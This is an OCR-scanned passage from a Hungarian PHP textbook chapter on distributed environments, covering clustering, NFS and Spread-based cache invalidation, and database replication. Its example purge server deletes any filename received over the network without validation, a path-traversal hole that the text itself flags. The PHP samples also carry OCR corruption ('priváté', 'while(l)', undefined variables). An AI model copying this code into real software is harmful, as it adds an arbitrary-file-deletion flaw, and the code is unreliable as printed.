Az általános használati célú könyvtáramban is létezik egy hibamegjelenítő függvény:

function displayError($entry) {
II... általános hibamegjelenítő függvény
}

Nyilvánvaló, hogy ha ezeket együtt használom egy projektben, gondjaim adódnak, mivel
függvény-újrameghatározási hibák keletkeznek. Ahhoz, hogy együtt is működhessenek, vala-
15. fejezet • Elosztott környezet kiépítése 405

melyikük nevét meg kell változtatnom, ami ugyanakkor a tőle függő kódok módosítását is
maga után vonja. Sokkal jobb megoldás, ha előre gondolunk erre a lehetőségre, és külön
névterekben helyezzük el ezeket a függvényeket - akár osztályok statikus tagfüggvényeiben:

class webblog {
static function displayError($entry) {
//.. .
}
}
class Common {
static function displayError($entry) {
//. . .
}
}

Vagy a PHP4 hagyományos névkiegészítési módszerét alkalmazva:

function webblog_displayError($entry) {
//. ..
}

function Common_displayError($entry) {
//. . .
}

Akárhogy is járunk el, ha kezdettől így védjük a szimbólumok neveit, elejét vehetjük az
ütközéseknek, és elkerülhetjük az ilyenkor általában szükséges jelentős módosításokat.

Hivatkozzunk a szolgáltatásokra teljes leíró nevekkel!


Egy újabb fontos tervezési alapszabály, ami különösen lényeges a kódok együttműködé-
séhez, hogy hivatkozzunk a szolgáltatásokra teljes leíró nevükkel. Jómagam gyakran talál-
kozom olyan alkalmazásokkal, melyek hivatkoznak egy dbhost nevű adatbázisra, és ez-
után az /etc/hosts fájlban szereplő dbhost beállításra építenek. Persze amíg egyetlen
adatbázis van jelen, mindez rendben van - ha azonban két szolgáltatást kell használnunk,
melyek dbhost beállítása nem egyezik meg, akkor bizony gondban vagyunk. Hasonlók
igazak az adatbázissémák neveire (adatbázisnevek a MySQL-ben). Az egyedi nevek hasz-
nálata lehetővé teszi, hogy az adatbázisokat mindig biztonsággal elkülöníthessük egymás-
tól. Mindez tehát azt jelenti, hogy ha leíró és egyedi adatbázisgazda és -sémaneveket
használunk, elkerülhetjük a kavarodást és az ütközéseket.

Az erőforrások névterei
Amennyiben fájlrendszerbeli erőforrásokat használunk (például gyorstárfájlok tárolására),
szolgáltatásunk nevét bele kell építenünk a fájl útvonalába, hogy biztosítsuk, nem ütközünk
más szolgáltatások gyorstáraival és viszont. Ez a gyakorlatban azt jelenti, hogy a /cache/
könyvtár helyett mondjuk a /cache/www. f oo . com/ könyvtárba írjuk fájljainkat.
406 PHP fejlesztés felsőfokon

Tartalom elosztása a fürtökben


A 7. fejezetben jó néhány módszert láthattunk a tartalom elosztására - ezek ugyanolyan
hatékonyan alkalmazhatók fürtözött rendszerekben is. Mindazonáltal két alapvető dologra
jobban oda kell figyelnünk:

• Biztosítanunk kell, hogy minden kiszolgáló önmagában helyes legyen.


• Biztosítanunk kell, hogy a kiszolgálók egymással összhangban működjenek.

Az első pontot már a 7. fejezetben megtárgyaltuk. A legbiztosabb módszer annak garantá-


lására, hogy nincsenek jelen eltérő kódváltozatok, az, ha frissítés alatt lekapcsoljuk a szol-
gáltatást. Azért csak ez jelent biztos módszert, mert a PHP futás közben is értelmez és fut-
tat beemelt fájlokat. így, még ha az összes régi fájlt újra is cseréljük, a közben futó progra-
mok egyaránt végrehajthatnak részleteket a régi és az új kódból. Léteznek módszerek ar-
ra, hogy csökkentsük a kikapcsolt állapot időtartamát, de valamilyen hosszú kikapcsolásra
mindenképpen szükség van annak érdekében, hogy a kódrészletek közti összhang meg-
maradhasson. Sok esetben persze ez sem okozna túl nagy gondot, néha azonban olyan
hibák is felszínre kerülhetnek, melyek a végfelhasználó számára is láthatók, amennyiben
egy könyvtárban található API is változik a frissítés során.

Szerencsére a fürtözött alkalmazások szerkezete nagyszerűen alkalmas az egyes csomó-


pontok meghibásodásának kivédésére. Egy terheléskiegyenlítő vagy hibakezelő megoldás
automatikusan észleli, ha egy szolgáltatás nem elérhető, és automatikusan átirányítja a ké-
relmeket a működő csomópontokra. Ez azt jelenti, hogy ha mindent helyesen állítunk be,
egyszerűen lekapcsolhatjuk az egyes webkiszolgálókat, frissíthetjük a tartalmukat, majd
újra bekapcsolhatjuk őket, mindenféle működésmegszakadás nélkül.

Azt azonban már nehezebb feladat elérni, hogy egy fürt minden gépén egyszerre történje-
nek meg a változások. Szerencsére ilyesmire ritkán van szükség. Nem jelent különösebb
gondot, ha van két egyidejű kérelmünk, melyek egyike új, a másik pedig régi kódot futtat,
amíg a teljes frissítés időtartama rövid, és az egyes oldalak önmagukban helyesen működ-
nek (akár a régi, akár az új viselkedést kövessék).

Ha atomi átállásra van szükség, az egyik megoldás, hogy adott alkalmazás webkiszolgálói-
nak felét kikapcsoljuk, hibakezelő segédeszközünk pedig átirányítja a forgalmat a működő
csomópontokra. A forgalomból kivont csomópontokat frissíthetjük, a kiszolgálókat újraindít-
hatjuk, mialatt az e csomópontokra mutató terheléskiegyenlítő szabályokat továbbra is ki-
kapcsolva tartjuk. Amikor az összes csomópontunk működőképessé vált, a terheléskiegyen-
lítési szabályokat átirányíthatjuk az újra beindított kiszolgálókra, és befejezhetjük a frissítést.

Látható, hogy ez a folyamat igen fájdalmas és költséges - a sikerességhez ugyanis az kell,


hogy a fürtök fele képes legyen a teljes forgalmat lebonyolítani, legalább egy rövid ideig.
Következésképpen ez a módszer - ahol csak lehet — kerülendő.
15. fejezet • Elosztott környezet kiépítése 407

Vízszintes méretezés
A vízszintes méretezhetőség a rendszertervezők közösségének divatos kifejezése. Ha egy
rendszer rendelkezik ezzel a tulajdonsággal, akkor kapacitása lineárisan változik - vagyis
kétszeres terhelésnek kétszeres erőforrás-felhasználás árán képes megfelelni. Első látásra
ez nem tűnik különleges dolognak; hiszen magunk építettük fel az alkalmazást - mi aka-
dályozhatja meg, hogy legrosszabb esetben ismét felépítsük, ezúttal megkétszerezve a ka-
pacitását? Sajnálatos módon a tökéletes vízszintes méretezhetőség az alábbi okokból szin-
te soha nem érhető el:

• Az alkalmazások egyes elemei egyszerűen nem méretezhetők lineárisan. Tegyük


fel, hogy van egy alkalmazásunk, amely egy webnapló bejegyzéseinek kereszthi-
vatkozásait követi nyomon. ./Vbejegyzés között 0(N2) kapcsolat lehetséges, így hát
az erőforrás-felhasználás lineárisnál magasabb rendben függ a kapacitástól.
• Az adatbázis-kezelő rendszerek méretezése nehéz. Egyrészről a hardverköltség
többprocesszoros rendszerekben a lineárisnál jobban nő. Másrészről, az adatbázis-
okban alkalmazott többmesteres többszörözési (multimaster replication) eljárások
késleltetést visznek a rendszerbe. (Ezekről az eljárásokról az Adatbázisok méretezé-
se címszónál szólunk bővebben.)

A vízszintesen méretezhető szolgáltatások esetében alapelvünk, hogy elkerüljük a különle-


ges rendeltetésű kiszolgálók megjelenését - vagyis ügyelnünk kell arra, hogy minden ki-
szolgáló képes legyen különböző feladatok elvégzésére. Gondoljunk egy étteremre.
Ha felveszünk egy szakácsot a zöldségek, egyet a húsok, egyet pedig a tésztafélék elkészí-
tésére, csak addig tudunk hatékonyan dolgozni, míg a menü változatlan. Ha megnövekszik
az igény a tészta iránt, a zöldséggel és a hússal foglalkozó szakácsok kihasználtsága csök-
ken, és fel kell vennünk egy újabb tésztaszakértőt. Jobban járunk, ha olyan szakácsokat
foglalkoztatunk, akiknek nincs különleges szakterületük - ők ugyan nem alkotnak kiemel-
kedőt egyetlen ételféleség elkészítésében sem, de könnyen megváltoztathatjuk feladatukat
az igények eltolódásával, ami így gazdaságosabb és hatékonyabb működést tesz lehetővé.

Különleges célú fürtök


Térjünk most vissza a vendéglő példájára. Amennyiben a kenyér menünk állandó eleme,
a minőség és a hatékonyság emelése érdekében érdemes lehet pékeket is felfogadnunk.

Ők ugyan nem tudnak más feladatokat elvégezni, de ha a kenyér állandóan az étlapon


szerepel, alkalmazásuk jó választás lehet. Nagy alkalmazásoknál sokszor érdemes lehet
specializált fürtöket alkalmaznunk - ilyen esetek az alábbiak:

• Szolgáltatások, melyek képesek a specializált eszközök kihasználására - Nagyszerű példa


erre a képek szolgáltatása. Léteznek webkiszolgálók - mint a Tux és a thttpd -,
melyek különösen alkalmasak arra, hogy statikus tartalmat szolgáltassanak. Gyak-
ran alkalmazott módszer, hogy néhány kiszolgálót kifejezetten arra állítanak be,
hogy képeket szolgáltasson.
408 PHP fejlesztés felsőfokon

• Szerzett vagy külső gyártó által készített alkalmazások halmazai - Sok olyan környezet lé-
tezik, ahol muszáj bizonyos alkalmazásokat külön futtatnunk, mivel például örök-
ségként jutottunk hozzájuk, és így más feltételekre van szükség a működtetésük-
höz. Elképzelhető, hogy szükségük van a mod_python vagy a mod_perl modulra
is. Mindez gyakran a hibás tervezésre vezethető vissza - sokszor megesik, hogy
a fejlesztő a céges környezetet tekinti próbaterepnek új gondolatok és új nyelvek
vizsgálatához. Vannak azonban olyan esetek is, amikor mindezt nem lehet elkerül-
ni - például ha az alkalmazást eleve megkapjuk, de vagy védjegyes, vagy PHP-beli
megvalósítása túlzott költségekkel jár.
• Az adatbázis-használat feldarabolása - Amint a fejezet későbbi részében, az Adatbázis-
ok méretezése címszónál láthatjuk, ha az alkalmazás különösen nagyra nő, az adat-
bázis-kezelő kódot érdemes több részre bontanunk, melyek az alkalmazás külön-
böző, egymástól független részeit szolgálhatják.
• Igen nagy alkalmazások - Hasonlóan az étteremhez, amely saját pékséget nyit péksüte-
ményei népszerűsége következtében, ha alkalmazásunk elegendően nagyra nő, ér-
demes lehet különböző, könnyebben kezelhető részekre bontani. Nincs olyan kép-
let, melynek segítségével eldönthetnénk, mikor kerüljön erre sor, de arra mindenkép-
pen érdemes emlékeznünk, hogy a hardverhibák kiküszöbölésére az alkalmazásnak
legalább két gépen kell futnia. Ezért hát jómagam soha nem darabolom fel az alkal-
mazást, míg teljes mértékben ki nem tudom használni két kiszolgáló erőforrásait.

Gyorstárak elosztott környezetben


Könyvünk egyik központi témája, hogy miként használjunk gyorstárakat a teljesítmény
növelése érdekében. A gyorstárak alkalmazása valamilyen formában szinte minden telje-
sítménynövelő módszer alapja, de sajnálatos módon számos, általunk megismert módszer
- köztük a tartalom tárolása és más folyamatok közti gyorstármódszerek - működésképte-
lenné válnak, ha közvetlenül fürtözött környezetbe helyezzük őket.

Képzeljük el, hogy van két gépünk - az A és a B kiszolgáló -, melyek tárolt honlapokat
szolgáltatnak. Kérelmek érkeznek Joe Random honlapjára, amely megtalálható tárolt vál-
tozatban mind az A, mind a B kiszolgálón (lásd a 15.4. ábrát).

Most Joe gondol egyet, és frissíti a honlapját. A frissítési kérelem az A kiszolgálóhoz érke-
zik, így az oldal új változata itt jelenik meg (lásd a 15.5. ábrát).

Ennyi, és nem több az, amit az eddig megismert gyorstárolási módszerek nyújtanak. Joe
honlapjának tárolt változatát a frissítés helyén (az A kiszolgálón) érvénytelenítettük, de
a B kiszolgálón továbbra is van egy másolat, melyről B nem tudja, hogy elavult (lásd
a 15.6. ábrát). így megszakad az összhang az adatok között - szükség van tehát egy olyan
módszerre, amely képes kezelni ezt a helyzetet.
15. fejezet • Elosztott környezet kiépítése 409

15.4. ábra
Több gépen tárolt kérelmek.

15.5. ábra
Egyetlen frissítéssel elveszhet a gyorstárak összhangja.
410 PHP fejlesztés felsőfokon

15.6. ábra
Az elavult gyorstárbeli adatok megbonthatják a fürt gépeinek összhangját.

A munkamenetek tárolt adatainál hasonló gondok merülnek fel. Joe Random meglátogat
egy internetes áruházat, és árucikkeket helyez a bevásárlókocsijába. Ha a kocsi adatainak
tárolását a munkameneti bővítés helyi fájlokra alapozza, ahányszor csak más kiszolgálóhoz
kerül, Joe mindig más és más állapotban látja viszont bevásárlókocsiját (lásd a 15.7. ábrát).

A felmerült gondokra - amellett, hogy korábban ismertetett okokból nem szeretnénk


a felhasználó munkamenetét egy adott géphez kötni - két alapvető megközelítéssel ke-
reshetünk megoldást:

• Használhatunk egy központosított gyorstárat.


• Használhatunk elosztott gyorstárakat valamilyen összehangoló eljárással.
15. fejezet • Elosztott környezet kiépítése 411

15.7. ábra
A munkamenetek tárolt adatainak összhangja megbomlik, így a bevásárlókocsik használhatatlan-
ná válnak.

Központosított gyorstárak
A gyorstárak összehangolásának egyik legegyszerűbb és legelterjedtebb módszere egy
központi gyorstár használata. Ha a résztvevők ugyanazokat a gyorstárfájlokat használják,
az elosztott tárolást övező aggodalmak legtöbbje eloszlik (alapjában véve azért, mert ma-
ga a gyorstár így már nem tekinthető teljes mértékben elosztottnak - csak az azt megvaló-
sító gépek).

A központosított fájl alapú gyorstár megvalósításának legmegfelelőbb eszközei a hálózati


fájlrendszerek. A Unix rendszereken szabványossá vált az NFS fájlrendszer, ami két okból
is nagyszerű választás:

• Az NFS kiszolgálók és ügyfélprogramok megtalálhatók gyakorlatilag minden mo-


dern Unix rendszeren.
412 PHP fejlesztés felsőfokon

• Az újabb Unix rendszerek megbízható fájlzárolási módszerek használatát teszik le-


hetővé az NFS-en, ami azt jelenti, hogy a gyorstárkönyvtárakat változtatás nélkül
felhasználhatjuk.

Az NFS valódi szépsége a felhasználó szempontjából az, hogy nem látszik különbözőnek
más fájlrendszerektől, így igen egyszerű utat mutat a gyorstár megvalósításának kiterjesz-
tésére egyetlen gépről gépek egy fürtjére.

Ha van egy kiszolgálónk, amely a /cache/www. f oo . com/ könyvtárat használja gyors-


tárához, a 10. fejezetben készített Cache_File modullal egyszerűen kibővíthetjük ezt
a rendszert — mindössze készítenünk kell egy /shares/cache/www. f oo. com/ nevű
exportálható könyvtárat az NFS kiszolgálónkon és befűzni a kívánt gépen:

#/etc/fstab
nfs-server: /shares/cache/www. foo.com /cache/www. foo. com nfs rw,noatime —

Ezután a befűzés (mounting, csatolás) mindössze ennyiből áll:

# mount -a

Persze az NFS használatának vannak bizonyos hátulütői is:

• Szükség van egy NFS kiszolgálóra - ez a legtöbb esetben egy kifejezetten e célt
szolgáló gép.
• Az NFS kiszolgáló az egész rendszer Achilles-sarka. Számos gyártó készít ipari mi-
nőségű NFS kiszolgáló készülékeket, de magunk is készíthetünk olyan összeállítá-
sokat, melyekre bizalommal hagyatkozhatunk.
• Az NFS kiszolgáló sok esetben szűk keresztmetszetet jelent a teljesítmény szempont-
jából. A központi kiszolgálónak viselnie kell a lemezes bemeneti-kimeneti művele-
tek terhelését minden webkiszolgáló gyorstáránál, és az adatokat a hálózaton is át
kell adnia. Ez mind a lemezhasználat, mind a hálózati átvitel esetében adattorlódás-
hoz vezethet. A gondok elkerülésére érdemes megfogadnunk néhány jó tanácsot:
1. Csatoljuk megosztott könyvtárainkat a noatime beállítással - ez kikapcsolja
a fájlok metaadatainak frissítését olvasási célú elérések esetén.
2. Figyeljük a hálózati forgalmat, és alkalmazzunk nyalábolt (trunked)
Ethernet/Gigabit Ethernet rendszert, ha a sávszélesség-kihasználás
75 Mbps fölé nő.
3. Hívjuk meg legtapasztaltabb rendszerfelügyelő ismerőseinket egy sörre, és kér-
dezzük ki őket az NFS réteg hangolásának titkairól. Minden operációs rendszer
a maga egyedi módján áll hozzá az NFS-hez, így ez a fajta finomhangolás igen
nehéz feladat. Kedvenc idézetem e téren a 4.4 BSD súgóoldalainak NFS csatolá-
sokról szóló részében található:
15. fejezet • Elosztott környezet kiépítése 413

Köszönhetően annak, hogy a Sun RPC az UDP ("unreliable datagram",


vagyis megbízhatatlan adatcsomag) átvitelre épül, az ilyen csatolások
hangolása nem kecsegtet sok sikerrel.

A központosított tárolás másik lehetősége a relációs adatbázis-kezelő rendszerek haszná-


lata. Ez persze ellentétesnek tűnhet a gyorstárak eredeti céljaival - vagyis az adatbázisok
terhelésének csökkentésével -, de nem feltétlenül így áll a helyzet. Valódi célunk a költsé-
ges kódrészletek csökkentése vagy kiküszöbölése - az adatbázisok lekérdezései pedig
gyakran költségesek. Gyakran, de nem mindig - így hát hatékonyan alkalmazhatjuk
gyorstárainkat, ha az adatbázisok költséges lekérdezéseinek eredményét kis költségű le-
kérdezések útján tesszük elérhetővé.

Teljesen szétterített gyorstárak készítése a Spread segítségével


A központosított gyorstárak használatánál sokkal jobb megoldás, ha a gyorstár olvasását
mindenféle központi szolgáltatótól függetlenül tudjuk végezni, az írás pedig elosztott rend-
szerben folyik - így az érvénytelenítéskor az egész fürt összes másolata érvénytelenné válik.

Mindezt megvalósíthatjuk a Spread segítségével. A Spread egy, a Johns Hopkins Egyetem


Hálózati és Elosztott Rendszerek Központjában kifejlesztett csoportos kommunikációs
eszközkészlet, amely hatékony módot ad a fürt szolgáltatásai közti csoportos adatátvitelre,
biztosítva az üzenetek sorrendjének megőrzését és megbízható kézbesítését. A program
maga nem elosztott, eszközkészlete (amely egy üzenetbusz) azonban lehetővé teszi elosz-
tott alkalmazások kiépítését.

A szerkezet vázlatát a 15.8. ábrán láthatjuk. A gyorstárfájlokat változatjelzés nélkül hely-


ben tároljuk az egyes gépeken. Ha a tárolt adatokat frissítik, ez a művelet egy üzenetet
küld a cache Spread csoport felé. Minden gépen fut egy démon, amely ezt a csoportot
figyeli. Amikor egy gyorstár-érvénytelenítési kérelem érkezik, ez a démon hajtja végre
a megfelelő műveleteket a helyi gépen.

Ez a módszer tökéletesen működik, amíg a hálózatot fel nem osztják - vagyis gépek nem
csatlakoznak, illetve nem szakadnak le a gyűrűről. Tegyük fel például, hogy az egyik gép
összeomlik, majd újra elindul. Működésének szünetében elképzelhető, hogy a gyorstár
bejegyzései frissültek. Lehetséges, bár meglehetősen bonyolult olyan rendszert készíteni,
amely a Spread segítségével újra érvényesíti a változtatásokat ilyen eseményeknél. Szeren-
csére a tárolt adatok természetükből következően időlegesek, újbóli elkészítésük pedig
nem túlzottan költséges. Ebből a feltételezésből kiindulva egyszerűen kiüríthetjük a web-
kiszolgáló gyorstárát minden olyan alkalommal, amikor a démon újraindul. Ez kemény lé-
pés, de egyszerű módszert ad arra, hogy elkerüljük az elavult adatok használatát.
414 PHP fejlesztés felsőfokon

15.8. ábra
Egy egyszerű Spread gyűrű.

Mindennek megvalósításához telepítenünk kell néhány eszközt. Először is, le kell tölte-
nünk, majd telepítenünk kell a Spread eszközkészletet a www. spread. org címről. Ez-
után telepítenünk kell a Spread burkolóját a PEAR-ben:

# pear install spread

A Spread burkolókönyvtár C-ben készült, így fordításához fontos, hogy minden PHP fej-
lesztőeszköz telepítve legyen (ez így van, ha a forrásból építettük fel a PHP-t). Ha nem sze-
retnénk saját protokollt készíteni, kiürítési kérelmeinket az XML-RPC segítségével továbbít-
hatjuk. Ez némiképp túlzásnak tűnhet, de az XML-RPC valójában igen jó választás. Sokkal
egyszerűbb, mint a SOAP, mindemellett viszonylag bővíthető és „konyhakész" formátum,
amely lehetővé teszi, hogy szükség esetén más nyelveken futó ügyfeleket is alkalmazzunk
(így például egy önálló grafikus felhasználói felület is ellenőrizheti és ürítheti a gyorstárfáj-
lokat). Mindenekelőtt telepítenünk kell egy XML-RPC könyvtárat. A PEAR XML-RPC könyv-
tár nagyszerűen működik, telepítése a PEAR-ben az alábbiak szerint végezhető el:

# pear install XML_RPC


15. fejezet • Elosztott környezet kiépítése 415

Eszközeink telepítése után szükségünk van egy ügyfélre is. Cache_File osztályunkat ki-
bővíthetjük egy, az adatok kiürítését végző tagfüggvénnyel:
require_once 'XML/RPC.php';

class Cache_File_Spread extends Filé {


priváté $spread;

A Spread működésének alapja, hogy az ügyfelek kiszolgálók hálózatához csatlakoznak,


ahol többnyire egy géphez egy kiszolgáló tartozik. Amennyiben a démon a helyi gépen
fut, egyszerűen megadhatjuk a kapuját, és kapcsolatot építhetünk ki vele egy Unix tarto-
mánycsatolón keresztül. A Spread alapértelmezésben a 4803-as kaput használja:

priváté $spreadName = '4803';

A Spread ügyfelei akkor küldhetnek és fogadhatnak üzeneteket, ha csatlakoznak egy cso-


porthoz. Aki nem csatlakozott, nem láthatja az üzeneteket (jóllehet a küldésre van lehető-
sége). A csoportok nevei tetszőlegesek lehetnek, automatikus létrehozásuk pedig akkor
történik meg, amikor az első ügyfél csatlakozik. Csoportunkat elnevezhetjük xmlrpc-nek:

priváté $spreadGroup = 'xmlrpc';

priváté $cachedir = '/cache/';


public function______construct( $ f ilename, $expiration=false)
{
parent: :___ construct( $ f ilename, $expiration);

Az automatikus kapcsolódás érdekében létrehozunk egy új Spread objektumot:


$this->spread = new Spread($this->spreadName);
}

Ez a tagfüggvény végzi a munka dandárját. Készítünk egy XML-RPC üzenetet, majd el-
küldjük a multicast tagfüggvénnyel az xmlrpc csoportnak:

function purge()
{
// Ezt a szétcsatolást nem kell végrehajtanunk,
// saját helyi démonunk megteszi helyettünk:
// unlink ("$this->cachedir/$this->filename");
$params = array($this->filename);
$client = new XML_RPC_Message("purgeCacheEntry", $params);
$this->spread->multicast($this->spreadGroup, $client->serialize());
}
}
}
416 PHP fejlesztés felsőfokon

Ezek után, ahányszor csak érvénytelenítenünk kell egy gyorstárfájlt, az alábbi kódot
használhatjuk:

$cache->purge();

Szükségünk lesz egy RPC kiszolgálóra is az üzenetek fogadására és feldolgozására:

require_once 'XML/RPC/Server.php';
$CACHEBASE = ' / c a c h e / ' ;
$serverName = ' 4 8 0 3 ' ;
$groupName = 'xmlrpc';

A gyorstárfájlok eltávolításáért felelős függvény meglehetősen egyszerű - visszafejti a ki-


ürítendő fájlt, és lecsatolja. A gyorstárkönyvtár jelenléte egy bátortalan lépés a biztonság
irányában. Alkalmasabb megoldásként használhatjuk rajta a chroot-ot, hogy indításkor
a gyorstárkönyvtárhoz kapcsolja. Mivel azonban mindez a rendszer belügye, most nem
kell vele foglalkoznunk. Lássuk hát ezt az egyszerű eltávolító függvényt:

function purgeCacheEntry($message) {
global $CACHEBASE;
$val = $message->params[0];
$filename = $val->getval();
unlink("$CACHEBASE/$filename");
}

Szükségünk van még az XML-RPC beállítására - egy kiosztási tömbben meg kell adnunk
kiszolgálóobjektumunk számára, milyen függvényeket hívjon:

$dispatches = array(
'purgeCacheEntry' =>
array('function' => 'purgeCacheEntry'));
$server = new XML_RPC_Server($dispatches , 0 ) ;

Elérkeztünk a kiszolgáló szívéhez. Kapcsolódunk helyi Spread démonunkhoz, csatlako-


zunk az xmlprc csoporthoz, és várunk az üzenetekre. Ha megérkezik egy, meghívjuk
rajta a kiszolgáló parseRequest tagfüggvényét, amely a kívánt függvényhez irányít
(esetünkben ez a purgeCacheEntry):

$spread = new Spread($serverName);


$spread->join($groupName);
while(l) {
$message = $spread->receive();
$server->parseRequest($data->message);
}
15. fejezet • Elosztott környezet kiépítése 417

Adatbázisok méretezése
A nagyméretű szolgáltatások felépítésének egyik legnagyobb kihívása az adatbázisok mé-
retezése. Ez nem csak a relációs adatbázis-kezelő rendszerekre igaz, hanem szinte min-
den központi adattárolóra. Kézenfekvő megoldásként kínálkozik az adattárolók méretezé-
sére, hogy ugyanazt tegyük velük, mint bármely más szolgáltatással - osszuk fel, és ren-
dezzük fürtökbe. Sajnálatos módon azonban a relációs adatbázis-kezelők esetében sokkal
nehezebb dolgunk akad, mint más szolgáltatásoknál.

A szétbontás igen jól használható az adatbázisok méretezésében - különböző szinteken.


A szolgáltatásokhoz tartozó adatobjektumokat sémákba rendezhetjük. Mivel az adatok tel-
jes mértékben (vagy legalábbis javarészt) szétválaszthatok, ezeket a sémákat különböző,
fizikailag is önálló adatbázisokba helyezhetjük, komolyabb gondok nélkül.

Néha azonban előfordul, hogy olyan, adatbázisra épülő alkalmazással van dolgunk, mely-
ben az egyes sémákra annyi SQL kód hat, hogy ennek méretezésére is szükség van. Leg-
több esetben a nagyobb teljesítményű hardver beszerzése egyszerű és tökéletes megol-
dást ad erre a problémára, de előfordulhat, hogy ez nem járható út:

• A hardvereszközök ára nem lineárisan nő a teljesítménnyel. A nagyteljesítményű


gépek valóban drágák lehetnek.
• A bemeneti-kimeneti adattorlódások nehezen (értsd: költséges módszerekkel) előz-
hetők meg.
• A kereskedelmi alkalmazások gyakran processzoronkénti engedélyekhez kötöttek,
melyek ára a hardvereszközökhöz hasonlóan nem lineárisan nő a processzorok
számával. (Az Oracle például nem engedi meg szabványos kiadásának futtatását
olyan gépeken, amelyek négynél több processzort használhatnak.)

Mindennapi gondok a sávszélességgel

A 12. fejezetben láthattuk, hogy ha a kelleténél több sort olvasunk be, a lekérdezések le-
lassulhatnak, hiszen minden kapott adatot át kell vinnünk a hálózaton az adatbázistól
a kérelmet kiadó géphez. Kiterjedt alkalmazásokban ez a terhelés jelentős hatással lehet
a hálózat működésére. Tekintsük a következő példát: ha 100 sort kérünk egy oldal elké-
szítéshez, soraink pedig átlagosan 1 KB méretűek, akkor oldalanként 100 KB adatot kell
átvinnünk a helyi hálózaton. Ha ezt az oldalt másodpercenként 100-szor kérik, akkor csak
az adatbázisból 100 KB x 100 - 10 MB adatot kell átvinnünk másodpercenként. Figyel-
jünk, bájtokról van szó, nem bitekről! Ha bitben számolunk, akkor ez 80 Mbps-ot jelent,
ami gyakorlatilag teljesen lefoglal egy 100 Mbps-os Ethernet csatolást.

A példa persze kissé mesterkélt. Ha kérelmenként ennyi adatot kell átvinnünk, az biztos
jele annak, hogy valamit elrontottunk - mindazonáltal ez a példa jól mutatja, miként ké-
418 PHP fejlesztés felsőfokon

pes egy háttérfolyamat jelentős sávszélesség lefoglalására. Ráadásul nem az adatbázis-le-


kérdezések az egyedüli olyan műveletek, amelyek sávszélességet vesznek el. Vannak itt
még más, hagyományosan „nagy fogyasztók" is:

• Hálózati fájlrendszerek - A fejlesztők többségének persze nyilvánvaló, hogy kérelmen-


ként 100 KB-ot kiolvasni egy adatbázisból nem valami jó ötlet, de úgy tűnik, sokan
megfeledkeznek arról, hogy 100 KB-os fájlokat NFS-en vagy más hálózati fájlrend-
szeren átszállítani ugyanekkora sávszélesség-felhasználással jár, és így hihetetlen
terhelésnek tehetik ki a hálózatot.
• Biztonsági másolatok - A biztonsági másolatok különösen alkalmasak a hálózati kap-
csolatok lefoglalására. Számítási igényük gyakorlatilag nincs, így hagyományosan
hálózati korlátozók. Mindez azt jelenti, hogy egy biztonsági másolatkészítési rend-
szer könnyedén képes „elbánni" bármekkora rendelkezésre álló sávszélességgel.

Nagy rendszerek esetében e gyorsan növekvő sávszélességigény kezelésére elválasztják


a nagy fogyasztókat, hogy ne befolyásolják egymás működését. Első lépésként gyakran kü-
lönböző hálózatokat építenek ki a webes és az adatbázis-forgalom számára. Ez fizikailag
több hálózati kártya beépítésével jár. Számos hálózati kapcsoló támogatja logikai hálózatok
elkülönítését, vagyis virtuális helyi hálózatok (VLAN-ok) létrehozását. Erre valójában tech-
nikailag nincs szükség, de kezelésük hatékonyabb és biztonságosabb. Ezután a webes for-
galmunkat az egyik, az adatbázisforgalmat pedig a másik virtuális hálózaton bonyolíthat-
juk. Teljességgel belső használatú hálózatok (mint az adatbázis-hálózatok) mindig privát
hálózati területet kell használjanak. Számos terheléskiegyenlítő támogatja a hálózati címek
fordítását, ami azt jelenti, hogy a webes forgalmunkat megvalósító hálózat privát címterüle-
ten működhet, és csak a terheléskiegyenlítő működik nyilvános címeken.

Ahogy a rendszerek növekednek, le kell választanunk a költséges feladatokat. Ha van egy


hálózati biztonsági másolatkészítő rendszerünk, érdemes az ezt használó gépek számára
külön hálózatot kialakítanunk. Bizonyos esetekben szükség lehet arra, hogy Gigabit
Ethernet, vagy nyalábolt Ethernet rendszert használjunk. A biztonsági másolatkészítő
rendszerek, a nagyforgalmú NFS kiszolgálók és az adatbázisok gyakran válnak sávszéles-
ség-korlátozó tényezővé 100 Mb-es Ethernet hálózatokon. Bizonyos webes rendszerek,
így a statikus képszolgáltatók, melyek nagysebességű webkiszolgálókat - mint a Tux vagy
a thttpd - futtatnak, valódi korlátozást jelenthetnek Ethernet hálózatokon.

Végezetül, ne feledjük, a méretezhetőség biztosításának első lépése, hogy körültekintően


járjunk el a költséges feladatok futtatásánál. Alkalmazzunk tartalomtömörítést a webes
sávszélesség jobb kihasználása érdekében, ne hagyjuk, hogy lekérdezéseink túl nagyra
nőjenek és mindig tároljuk helyi kiszolgálónk állandó adatait gyorstárakban. Ha négy kü-
lönböző adatbázisról kell biztonsági másolatot készítenünk, ütemezzük úgy a feladatokat,
hogy ne fedjék át egymást.
15. fejezet • Elosztott környezet kiépítése 419

E helyzetre kétféle megoldás ismeretes: a többszörözés (replikáció) és az objektumok


szétbontása.

A többszörözés mester-mester és mester-szolga változatban valósítható meg. Akármit is


mondjanak a gyártók termékeik népszerűsítésére, jelenleg nem létezik olyan mester—mester
megoldás, ami kifogástalanul megfelelne. Legtöbbjüknek osztott tárolóra van szüksége
a működéshez, ami azt jelenti, hogy számíthatunk kimeneti-bemeneti adattorlódásokra.
Emellett további terhet jelen, hogy a példányokat összhangban kell tartani (így lehet csak
biztosítani a kiolvasott adatok összhangját a frissítések közben).

Az osztott tárral nem rendelkező mester-mester sémáknak meg kell birkózniuk a tranzak-
ciók összehangolásával, és kezelniük kell a hálózaton keresztül lebonyolított kétlépéses
végrehajtásokat is (nem is beszélve az olvasások közben megtartandó adatépségről). Ezek
a megoldások ráadásul általában lassúak is. (A „lassúság" persze viszonylagos fogalom.
E rendszerek közül sok igen gyorssá is tehető - ez a sebesség azonban elmarad a kétszer
akkora teljesítményű önálló gépekétől, sőt sokszor még az azonos teljesítményűekétől is.)

A mester-mester sémákkal a gondok a sok írási műveletet végző alkalmazásoknál jelent-


keznek. Ha az adatbázisokat amúgy is lefoglalja az írás, a kétlépéses végrehajtás megbé-
níthatja a rendszer működését. Ez a módszer a következetesség megőrzése érdekében az
alábbi két lépésre bontja a végrehajtás folyamatát:

• Az ígéreti szakasz, ahol az adatbázis, melybe az ügyfél ír, ígéretet tesz a végrehajtás
elvégzésére minden ügyfelének.
• A végrehajtási szakasz, ahol maga a végrehajtás megtörténik.

Amint azt kitalálhattuk, ez a folyamat jelentős többletterhet ró minden írási műveletre, ami
nagy gondot jelenthet, ha az alkalmazásnak már eleve gondjai vannak az írási műveletek
mennyiségével.

